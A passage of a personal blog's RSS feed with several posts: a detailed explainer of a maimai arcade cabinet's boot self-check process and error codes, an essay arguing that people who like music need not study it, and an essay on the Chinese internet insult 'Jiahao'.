&lt;td&gt;The target domain resolves via DNS and the ICMP hop-by-hop completes&lt;/td&gt;
&lt;td&gt;OK / NG&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;LineTypeChecker&lt;/td&gt;
&lt;td&gt;The line type is LAN&lt;/td&gt;
&lt;td&gt;OK / NG&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;AllnetAuthChecker&lt;/td&gt;
&lt;td&gt;Auth passed &lt;strong&gt;and&lt;/strong&gt; the download instruction is ready&lt;/td&gt;
&lt;td&gt;OK / timeout Bad&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;AimeChecker&lt;/td&gt;
&lt;td&gt;The CHIME liveness result is normal&lt;/td&gt;
&lt;td&gt;OK / NG&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;EmoneyChecker&lt;/td&gt;
&lt;td&gt;Dead item on the mainland server, shouldRun is false&lt;/td&gt;
&lt;td&gt;NA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;AimePayChecker&lt;/td&gt;
&lt;td&gt;Dead item on the mainland server, shouldRun is false&lt;/td&gt;
&lt;td&gt;NA&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Appendix&lt;/h2&gt;
&lt;p&gt;Wahlap server status monitor: &lt;a href=&quot;https://mai.chongxi.us&quot;&gt;Is the Wahlap server dead? - isMaiDown?&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>maimai</category><category>网络</category><author>Chongxi</author></item><item><title>A Detailed Look at the maimai Cabinet&apos;s Boot Initialization Process</title><link>https://xice.cx/en/posts/maimaiPowerOn/</link><guid isPermaLink="true">https://xice.cx/en/posts/maimaiPowerOn/</guid><description>This article details the series of initialization behaviors during a maimai cabinet&apos;s boot, and provides an error code reference</description><pubDate>Tue, 04 Aug 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Loosely speaking, two systems run on a maimai cabinet:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;amdaemon&lt;/strong&gt;: a native background service responsible for all communication between the cabinet and SEGA&apos;s servers (network check-in, card verification)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Unity game program&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We can break the whole process into 6 steps; the boot screen on the dual displays shows each step&apos;s progress status in sync&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;初始化中 CHECK&lt;/li&gt;
&lt;li&gt;好 GOOD&lt;/li&gt;
&lt;li&gt;坏 BAD&lt;/li&gt;
&lt;li&gt;跳过 NA&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;1. Power on&lt;/h2&gt;
&lt;p&gt;After the cabinet powers on, Windows 10 boots and amdaemon starts automatically. During the boot phase it does two network things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Allnet&lt;/strong&gt;: sends one initialize request to the &lt;code&gt;NET服务器&lt;/code&gt;, and the server returns the game server address, region code and store ID&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AIME registration&lt;/strong&gt;: locally initializes the code-scanning card reader (&lt;code&gt;Chime.Instance.Init&lt;/code&gt;, registering the keychip identity). &lt;strong&gt;At boot it doesn&apos;t send get_data and doesn&apos;t fetch a token&lt;/strong&gt;; get_data is only initiated by amdaemon when a player scans, and the token comes back with the scan response&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After these two steps complete, amdaemon sets &lt;code&gt;Core.IsReady&lt;/code&gt;, and then the game program begins initializing&lt;/p&gt;
&lt;h2&gt;Game program startup&lt;/h2&gt;
&lt;p&gt;The Unity scene loads and &lt;code&gt;GameMainObject&lt;/code&gt; performs initialization&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Loads the native DLL preload libraries&lt;/li&gt;
&lt;li&gt;Reads the cabinet&apos;s ini config&lt;/li&gt;
&lt;li&gt;Creates AmManager (the overall manager for subsystems like coin insertion, code scanning, network and dual touchscreens; for now only an empty shell)&lt;/li&gt;
&lt;li&gt;Creates the sound, data and chart managers&lt;/li&gt;
&lt;li&gt;Generates the &lt;strong&gt;AES key table&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Creates LAN components: Setting, Advertise, DeliveryChecker, Party&lt;/li&gt;
&lt;li&gt;Registers the native daemon exception callback&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;This step makes no network requests at all&lt;/strong&gt;; it only builds the whole program&apos;s object structure&lt;/p&gt;
&lt;h2&gt;2.5 Waiting for amdaemon&lt;/h2&gt;
&lt;p&gt;Every frame it checks &lt;code&gt;Core.IsReady&lt;/code&gt;; if not ready it does nothing. Once ready:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Calls &lt;code&gt;GameMain.LateInitialize&lt;/code&gt; once: puts &lt;code&gt;PowerOnProcess&lt;/code&gt; (the boot self-check process) into the process scheduler at priority 50, and starts a background &lt;code&gt;PingChecker&lt;/code&gt; thread&lt;/li&gt;
&lt;li&gt;From this frame on, every frame runs: &lt;code&gt;Core.Execute&lt;/code&gt; → &lt;code&gt;GameMain.Update&lt;/code&gt; (main game logic) → &lt;code&gt;GameMain.LateUpdate&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Process scheduler mechanism&lt;/strong&gt;: processes queue by priority (smaller numbers run first), the state machine is Start→Update→Released, and Released processes are freed and removed during the late update phase. The entire boot chain is relayed through this scheduler&lt;/p&gt;
&lt;h3&gt;AmManager&lt;/h3&gt;
&lt;p&gt;Step 2 only built an empty AmManager shell; the real subsystems are created by AmManager itself &lt;strong&gt;after waiting for amdaemon to be ready&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;GameMain.Update&lt;/code&gt; calls &lt;code&gt;AmManager.Execute()&lt;/code&gt; every frame, and its internal state machine is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;WaitAmDaemonReady&lt;/strong&gt;: waits for &lt;code&gt;Core.IsReady&lt;/code&gt;. Once ready it creates all subsystems: Backup, Credit (coin insertion), EMoney (the Chinese server doesn&apos;t have it), Accounting, AimeReader (code scanning on the Chinese server), Network (network test), Delivery (pushed data), and the dual touchscreen driver &lt;code&gt;NewTouchPanel[2]&lt;/code&gt;. After everything is built it sets &lt;code&gt;IsReady=true&lt;/code&gt; and switches to Run&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Run&lt;/strong&gt;: executes these subsystems one by one every frame&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;In other words, &lt;code&gt;Core.IsReady&lt;/code&gt; triggers two layers: the outer &lt;code&gt;GameMainObject.Update&lt;/code&gt; starts the boot self-check process, and the inner &lt;code&gt;AmManager&lt;/code&gt; actually builds the hardware subsystems; the two run independently at the same time&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;PingChecker&lt;/h3&gt;
&lt;p&gt;An asynchronous background thread started by &lt;code&gt;GameMain.LateInitialize&lt;/code&gt;; it measures server latency once an hour:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Trigger timing&lt;/strong&gt;: based on &lt;code&gt;Auth.AuthTime&lt;/code&gt; delivered by Allnet, it derives the top-of-hour start from its minute offset, and only measures once per hour (deduplicated)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;20 ping packets per round&lt;/strong&gt;: packet interval &amp;gt; 10 seconds, individual timeout 5 seconds; failures are counted toward the packet loss rate&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Result handling&lt;/strong&gt;: drop the highest and lowest values and average the rest as the latency, then write it into Backup along with the packet loss rate and maximum (viewable in test mode)&lt;/li&gt;
&lt;li&gt;Automatically aborted in test mode; the results are only used for network diagnostics and don&apos;t take part in the boot flow&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3. Boot self-check&lt;/h2&gt;
&lt;p&gt;The boot screen appears and the dual displays begin checking item by item:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Wait for amdaemon&lt;/strong&gt;: waits for &lt;code&gt;Core.IsReady&lt;/code&gt;. Once ready, a string of hardware preparation: initializes the input system, reads the config after amdaemon, initializes OperationManager, &lt;strong&gt;probes the COM serial ports&lt;/strong&gt; (checks which port the USB4 hub is plugged into — one of COM20/24/28/32 — and from that infers which serial port the LED strips are on; if COM20 is detected, for example, the lights are mapped to COM21/COM23), initializes the LED controller, and lights all JVS panel lights as black&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Asset loading&lt;/strong&gt;: waits for all chart/image/model assets to finish loading (&lt;code&gt;assetManager.IsDone&lt;/code&gt; and the chart slider thread idle), with loading progress shown on screen. After completion it lingers for another 2 seconds&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network self-check&lt;/strong&gt;: tests network connectivity item by item, with the screen showing each item&apos;s 好 or 坏 line by line. There are 8 known check items: IP address, gateway, local DNS, hop count, line type, &lt;strong&gt;Net authentication&lt;/strong&gt;, membership server, title server. Two of them have hard timeouts: the network item at 15 seconds and &lt;strong&gt;the Net authentication item at 120 seconds&lt;/strong&gt;; on timeout it&apos;s judged 坏&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Membership server&lt;/strong&gt;: if authentication is valid (&lt;code&gt;Auth.IsGood&lt;/code&gt;), sends a liveness check to the membership server. If the server is reachable it shows 好, otherwise 坏; if invalid, it&apos;s skipped&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Title server check&lt;/strong&gt;: has OperationManager download the game config (GetGame*). &lt;strong&gt;As long as it has downloaded successfully at least once&lt;/strong&gt; (&lt;code&gt;WasDownloadSuccessOnce&lt;/code&gt;) and the server is online, it&apos;s judged 好. After completion it lingers 2 seconds&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Once everything passes it enters Released: &lt;strong&gt;adds &lt;code&gt;StartupProcess&lt;/code&gt; to the scheduler, frees itself, and sets &lt;code&gt;IsGameProcMode&lt;/code&gt; to true&lt;/strong&gt; (marking entry into the formal game flow)&lt;/p&gt;
&lt;h2&gt;4. Formal startup&lt;/h2&gt;
&lt;p&gt;This process performs a complete hardware + LAN self-check:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Touchscreens&lt;/strong&gt;: until both screens&apos; drivers are ready or error out; errors record their error codes into the system&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LED strips&lt;/strong&gt;: both sides&apos; LEDs finish initializing, after which the camera system is initialized&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cameras&lt;/strong&gt;: the QR code camera + top camera become ready, after which the card reader is initialized; camera error codes are also recorded into the system&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data loading&lt;/strong&gt;: waits for the data manager to reach 100%. After that, in order: configure the favorites system, initialize map data, &lt;strong&gt;download charts&lt;/strong&gt; (DLMusicScore + DownloadMusicScore)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LAN — config delivery&lt;/strong&gt; (WaitLinkDelivery): the LAN&apos;s config delivery server is ready; if this is the server machine and there&apos;s no LAN, it&apos;s directly judged 好 and skipped. Duplicate machine numbers display a &quot;机台重复&quot; error&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LAN — setting sync&lt;/strong&gt; (WaitLinkSetting): syncs settings such as event mode and event track count. If a &lt;strong&gt;duplicate machine number&lt;/strong&gt; appears in the LAN, it reports &lt;strong&gt;error 3201&lt;/strong&gt; and records it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LAN — Party&lt;/strong&gt; (WaitLinkParty): joins the Party (&lt;code&gt;Party.Start(机器组ID)&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LAN — LinkAdvertise&lt;/strong&gt;: initializes Advertise&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ready&lt;/strong&gt;: after everything completes it lingers for &lt;strong&gt;2 seconds&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Released&lt;/strong&gt;: adds &lt;code&gt;WarningProcess&lt;/code&gt; to the scheduler, frees itself, switches the coin mechanism to formal game mode, and reruns GameManager initialization once; &lt;strong&gt;sets &lt;code&gt;IsInitializeEnd = true&lt;/code&gt;&lt;/strong&gt; (this is the precondition for the main game loop to begin doing logic such as error detection)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Also: when the process starts it attaches a &quot;general message process&quot; at priority 51 as the message manager (popups, timers and other general UI all go through it), and calls OperationManager.Initialize() again (this call is idempotent, resetting to the 检查认证 state)&lt;/p&gt;
&lt;h3&gt;OperationManager&lt;/h3&gt;
&lt;p&gt;All of the cabinet&apos;s title-server business data (game config, events, tracks, user data upload/download) is managed by OperationManager
During boot it runs a four-state state machine, which is usually finished before the title screen appears:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;CheckAuth&lt;/strong&gt; (check authentication): started by &lt;code&gt;Initialize()&lt;/code&gt;, polls &lt;code&gt;Core.IsReady &amp;amp;&amp;amp; Auth.IsGood&lt;/code&gt; (amdaemon Allnet authentication) + store ID non-zero. Only continues once authentication passes&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Download&lt;/strong&gt; (download config): &lt;code&gt;_dataDownloader.Start()&lt;/code&gt; pulls all the &lt;code&gt;GetGame*&lt;/code&gt; configs (GameSetting/GameEvent/GameRanking etc.). &lt;strong&gt;The &lt;code&gt;WasDownloadSuccessOnce&lt;/code&gt; in step 3&apos;s title server check means this step succeeded at least once&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Upload&lt;/strong&gt; (upload data): &lt;code&gt;_dataUploader.Start()&lt;/code&gt; uploads operational data (coin insertion records etc.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Idle&lt;/strong&gt; (idle polling): afterwards it checks every frame whether the config has updates and re-downloads when needed&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;After the title screen appears, OperationManager stays in Idle: polling for config updates every frame, running maintenance/closing timers, and &lt;code&gt;PingChecker&lt;/code&gt; measuring speed and writing to Backup every hour&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Steps 3 and 4 &lt;strong&gt;never send any business API calls&lt;/strong&gt; at all; the only network activity is config downloading (the GetGame* family) and ping probes&lt;/p&gt;
&lt;h2&gt;5. Copyright check&lt;/h2&gt;
&lt;p&gt;Before entering the copyright screen it checks 5 items; &lt;strong&gt;if any one is not satisfied, it reports error 912 and goes through the system error flow&lt;/strong&gt; (ultimately exiting the game program, see step 6): the machine name contains &quot;ACA&quot;, the GPU is &quot;GeForce GTX&quot;, the CPU is &quot;Core(TM) i3-8100&quot;, the program is installed on drive X, and the error log path is on drive Y&lt;/p&gt;
&lt;p&gt;After the checks pass, the copyright warning screen is shown. If the region code is 1 (Japanese server), a copyright logo animation plays and then ends; otherwise it ends directly. &lt;strong&gt;This screen is displayed only once over the process&apos;s entire lifetime&lt;/strong&gt; (the static flag OnceDisp)&lt;/p&gt;
&lt;p&gt;On finishing, it starts two resident processes at once and frees itself:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CommonProcess&lt;/strong&gt; (priority 10): the background UI manager — time, volume, info popups and timers all belong to it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AdvertiseProcess&lt;/strong&gt; (priority 49): the title screen&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Error codes&lt;/h2&gt;
&lt;p&gt;The error screen displays a 4-digit error code (&lt;code&gt;Error.Number&lt;/code&gt; zero-padded); here&apos;s the full table of error codes that can appear in the boot chain:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;th&gt;Trigger&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0912&lt;/td&gt;
&lt;td&gt;GraphicBoard_RenderError&lt;/td&gt;
&lt;td&gt;GPU/graphics board error&lt;/td&gt;
&lt;td&gt;Any of step 5&apos;s checks fails; or the dev machine&apos;s render width is insufficient&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3100&lt;/td&gt;
&lt;td&gt;CameraNotFill&lt;/td&gt;
&lt;td&gt;Camera feed missing&lt;/td&gt;
&lt;td&gt;Camera self-check (step 4): the two cameras fail to both produce a picture&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3101&lt;/td&gt;
&lt;td&gt;CodeReader_InitializeFailed&lt;/td&gt;
&lt;td&gt;Code reader initialization failed&lt;/td&gt;
&lt;td&gt;QR code camera unavailable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3102&lt;/td&gt;
&lt;td&gt;PhotoCamera_NotFound&lt;/td&gt;
&lt;td&gt;Photo camera not found&lt;/td&gt;
&lt;td&gt;Photo camera unavailable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3201&lt;/td&gt;
&lt;td&gt;GroupRole_DuplicateParent&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Duplicate machine number in the LAN&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Step 4 setting sync/ad delivery finds a duplicate machine number&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3300-3303&lt;/td&gt;
&lt;td&gt;TouchPanel_Left/Right_OpenError/InitError&lt;/td&gt;
&lt;td&gt;Touchscreen open/init failed&lt;/td&gt;
&lt;td&gt;Step 4 touchscreen self-check&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6501&lt;/td&gt;
&lt;td&gt;AimeConnectError&lt;/td&gt;
&lt;td&gt;AIME card reader connection error&lt;/td&gt;
&lt;td&gt;Native card reader (not shown at boot; reported when swiping during gameplay)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6506&lt;/td&gt;
&lt;td&gt;AimeFiruUpdateError&lt;/td&gt;
&lt;td&gt;AIME firmware update error&lt;/td&gt;
&lt;td&gt;Native card reader (during gameplay)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;The remaining error codes (LED serial board 0-9, LAN Party networking, network accounting E00-E15, etc.) belong to &lt;strong&gt;low-level diagnostics&lt;/strong&gt;, aren&apos;t shown on the error screen, and can be checked in test mode&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;What it means when the screen stays on 初始化 throughout boot&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Always 初始化 (blinking)&lt;/strong&gt;: still waiting for that step to complete. Commonly seen while waiting for amdaemon, asset loading, network self-check, membership server detection, or title server download&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;坏&lt;/strong&gt;: that item failed. Most self-check items &lt;strong&gt;continue on after 坏&lt;/strong&gt;, while some go straight to a system error and exit, such as 912&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hard timeouts&lt;/strong&gt;: the network item is forced to Bad after 15 seconds and the Net authentication item after 120 seconds. Membership server detection and title server download wait until there&apos;s a conclusion (depending on each request&apos;s own timeout config)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stuck on 初始化 for a long time&lt;/strong&gt;: means the server/hardware that item depends on isn&apos;t responding, and it usually can&apos;t get past the steps that depend on it (for example, after Net authentication times out, the title server check can&apos;t pass either)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;6. Initialization complete&lt;/h2&gt;
&lt;p&gt;AdvertiseProcess handles title standby: shows the logo → title → decides on the ranking:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Input detected → fades out and transitions to &lt;code&gt;EntryProcess&lt;/code&gt; (game entry), after which inserting coins/swiping → confirm → enter the game&lt;/li&gt;
&lt;li&gt;Demo available → enter &lt;code&gt;AdvDemoProcess&lt;/code&gt; (plays the autoplay PV); otherwise return to the title screen&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;The moment the cabinet enters title standby is &quot;initialization complete&quot;&lt;/strong&gt;: you can insert coins, read cards, the server is online and the config has been downloaded. After that OperationManager stays in Idle (detailed in step 4), checking for config updates every frame, running maintenance/closing timers, and PingChecker sending a speed-test packet every hour to update the latency data&lt;/p&gt;
&lt;h3&gt;The two background services&lt;/h3&gt;
&lt;p&gt;From step 2.5 onward, &lt;code&gt;GameMain.Update&lt;/code&gt; also checks two things every frame:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Error detection&lt;/strong&gt;: if initialization is complete and the system has an error (and the config permits), forcibly logs out the player, terminates the Party, adds &lt;code&gt;ErrorProcess&lt;/code&gt; to the scheduler, sets error mode, and mutes the sound and disables coin insertion&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TEST button&lt;/strong&gt;: if the test key is pressed (and the machine is in game or error mode), forcibly logs out the player, adds &lt;code&gt;TestModeProcess&lt;/code&gt; to the scheduler, logs &quot;entering test mode&quot;, and enters the test sub-flow&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;When it exits or restarts&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;GameMainObject.Update&lt;/code&gt; also watches four exit flags every frame; hitting any one ends the game program:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;System exception → exit directly&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IsGotoSystemTest&lt;/code&gt; (enter system test) → &lt;code&gt;Core.Kill(3)&lt;/code&gt; then exit&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IsGotoReboot&lt;/code&gt; (needs restart) → &lt;code&gt;Core.Reboot()&lt;/code&gt; if auto-restart is needed, otherwise &lt;code&gt;Core.Kill(1)&lt;/code&gt; then exit&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IsGotoSystemError&lt;/code&gt; (system error, such as 912 in step 5) → &lt;code&gt;Core.Kill(2)&lt;/code&gt; then exit&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;That&apos;s the whole low-level software behavior of a 舞萌DX cabinet&apos;s boot initialization. If you find this interesting, feel free to follow this blog, add the site to your bookmarks or subscribe to the RSS feed; more articles like this will be coming&lt;/p&gt;
</content:encoded><category>maimai</category><category>硬件</category><author>Chongxi</author></item><item><title>Why Liking Music Is Actually a Reason Not to Study It</title><link>https://xice.cx/en/posts/260804/</link><guid isPermaLink="true">https://xice.cx/en/posts/260804/</guid><description>Why I don&apos;t recommend that ordinary people outside the music industry go learn professional knowledge.</description><pubDate>Mon, 03 Aug 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Liking something doesn&apos;t mean you need to understand it&lt;/p&gt;
&lt;p&gt;Some people have this habit: if they like writing, they go study narrative structure; if they like music, they go learn music theory and arrangement. The starting point is love — the belief that understanding more means enjoying it more deeply&lt;/p&gt;
&lt;p&gt;But the result may be the opposite&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Someone who knows nothing about music can be moved to tears by a piece. He doesn&apos;t need to know why; what he feels is what the piece truly wants to express&lt;/p&gt;
&lt;p&gt;But once you start learning — even just dabbling, just casually picking up some arrangement knowledge or some vocal technique — the first reaction you have when listening to music quietly changes. It&apos;s no longer &quot;what does this piece make me think of&quot;, but &quot;the key change here is handled cleverly&quot;, &quot;this string section comes in right on time&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;You&apos;re analysing it, not feeling it&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;What&apos;s worse is that you find yourself stuck in the middle&lt;/p&gt;
&lt;p&gt;A child watching magic has eyes shining bright; that is real magic. An amateur who has learned a little about how magic works knows it&apos;s mechanisms and sleight of hand, but he can&apos;t perform magic that impressive himself. He has lost the magic, but hasn&apos;t gained new magic.&lt;/p&gt;
&lt;p&gt;So he hangs between the two: he can&apos;t go back to the shock of knowing nothing, and he can&apos;t reach the point of using skill to create shock&lt;/p&gt;
&lt;p&gt;That little bit of amateur knowledge didn&apos;t become a step; it blocks you outside without taking you in&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The reason this loss is hard to notice is that music is, of all art forms, the one that least needs &quot;understanding&quot;. It bypasses language, bypasses logic, and talks directly to emotion. And what professional knowledge does is precisely build a checkpoint on that road: before any emotion reaches you, it must first pass through that analysis system in your head, which completely changes how a song feels&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;So if you only like it, why not just stop where liking is&lt;/p&gt;
&lt;p&gt;Not knowing music theory is not a defect; it&apos;s an ability you still have. That state of &quot;being moved without knowing why&quot;&lt;/p&gt;
&lt;p&gt;This is not ignorance waiting to be corrected, but something worth cherishing&lt;/p&gt;
</content:encoded><category>音乐</category><category>社会评论</category><author>Chongxi</author></item><item><title>From Showing Off to Jiahao: A History of Spiritual Victory on the Chinese Internet</title><link>https://xice.cx/en/posts/jiahao/</link><guid isPermaLink="true">https://xice.cx/en/posts/jiahao/</guid><description>How one insult became a label for anyone who tries, and what that says about the people handing it out.</description><pubDate>Tue, 28 Jul 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In a middle school classroom, a boy in a black hoodie and a black mask was DJing at thin air. The video hit the internet and he was given the name &quot;Jiahao&quot;. Nobody knows his real name, and nobody cares. What matters is that he had a hat, and the hat would soon no longer fit&lt;/p&gt;
&lt;p&gt;At first, becoming Jiahao had a threshold: you had to wear a black hoodie, a black mask, and do certain &quot;chuunibyou&quot; moves in public to even qualify for the name Jiahao. But a hat, as these things go, grows as you wear it&lt;/p&gt;
&lt;p&gt;Soon someone developed a &quot;Jiahao-ness score&quot; system: ordinary Jiahao, Delta Force Jiahao, Dream of the Red Chamber Jiahao... from gaming newbies to literature lovers, from gym check-in posters to fine-dining check-in posters, everyone was brought into the rating. The hat&apos;s size expanded from small to large, until everyone could wear it&lt;/p&gt;
&lt;p&gt;And so a strange spectacle appeared: you think someone is a Jiahao; you criticize the word Jiahao for being overused — you&apos;re a Jiahao too. The president gives a speech: super Jiahao. Researchers make a new discovery: ultimate Jiahao. alan walker himself: the founding father of Jiahao&lt;/p&gt;
&lt;p&gt;A word that can be fitted onto everyone says essentially nothing. And this isn&apos;t the first time such a word has appeared&lt;/p&gt;
&lt;p&gt;Jiahao has a clear family tree: showing off, humblebragging, attention-seeker, Jiahao — all the same medicine in a new bottle. You did something I didn&apos;t do, so I give you an ugly name. Every so often the old word gets worn blunt, a new one takes its place, and the same mission is fulfilled&lt;/p&gt;
&lt;p&gt;Even the word &quot;showing off&quot; has lost its bite now. Many people call themselves that, even with a bit of pride. The word gets worn out, its meaning erodes, and in the end it&apos;s tamed into a neutral term. Jiahao is currently in its most aggressive phase; in a few years it will probably follow the same fate&lt;/p&gt;
&lt;p&gt;The soil hasn&apos;t changed; only the crop has rotated&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Look closely and you&apos;ll find this logic has a big flaw: one question is enough to puncture it. If the person standing there were you, would you still call yourself Jiahao?&lt;/p&gt;
&lt;p&gt;Someone eats at a fancy restaurant, and you call them a show-off. If that someone were you, what would you call yourself? You&apos;d call it &quot;quality of life&quot;, call it &quot;the reward for hard work&quot;. Same table, same meal; change the subject and the nature changes&lt;/p&gt;
&lt;p&gt;Jiahao was never a word that evaluates behavior. It is a word that evaluates &lt;strong&gt;distance&lt;/strong&gt; — the distance between you and that person, and your inability to accept that distance&lt;/p&gt;
&lt;p&gt;This is one of humanity&apos;s most fundamental lines of code, double standards: when I can do it, it&apos;s called ability. When you can do it, it&apos;s called showing off&lt;/p&gt;
&lt;p&gt;Lu Xun wrote Ah Q, who, after being beaten, silently told himself &quot;the son hit the father&quot; and completed a psychological self-rescue. A hundred years later, the mechanism has been upgraded and made more convenient: you don&apos;t need to be beaten. You only need to see someone living with more effort than you, type a few words, hit send, and victory is yours&lt;/p&gt;
&lt;p&gt;So the more frequently you call someone Jiahao, the more precisely you expose one thing: that person makes you feel pressure. This hat is two-sided — you put it on someone else&apos;s head, and it reflects yourself&lt;/p&gt;
&lt;p&gt;As for the word Jiahao, it will eventually disappear, just like showing off — sooner or later it&apos;ll be worn blunt and replaced by a new word. By then, nobody will remember the boy DJing in that classroom, and nobody will remember the original shape of this hat&lt;/p&gt;
&lt;p&gt;But as long as the psychology of &quot;stick out and you should be pushed down&quot; remains, the next Jiahao is already on the way&lt;/p&gt;
&lt;p&gt;It won&apos;t be called Jiahao, but you&apos;ll recognize it at a glance&lt;/p&gt;
&lt;p&gt;Because the shape of that hat has never changed&lt;/p&gt;
</content:encoded><category>社会评论</category><author>Chongxi</author></item><item><title>Visiting Chiang Kai-shek&apos;s Former Residence: Xikou, Fenghua</title><link>https://xice.cx/en/posts/ChiangKaishekHome/</link><guid isPermaLink="true">https://xice.cx/en/posts/ChiangKaishekHome/</guid><description>A walk through Chiang Kai-shek&apos;s old family home in Xikou, Fenghua, from Fenggao House to Wenchang Pavilion, along with the stories behind them and the little shops around them.</description><pubDate>Sun, 26 Jul 2026 16:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
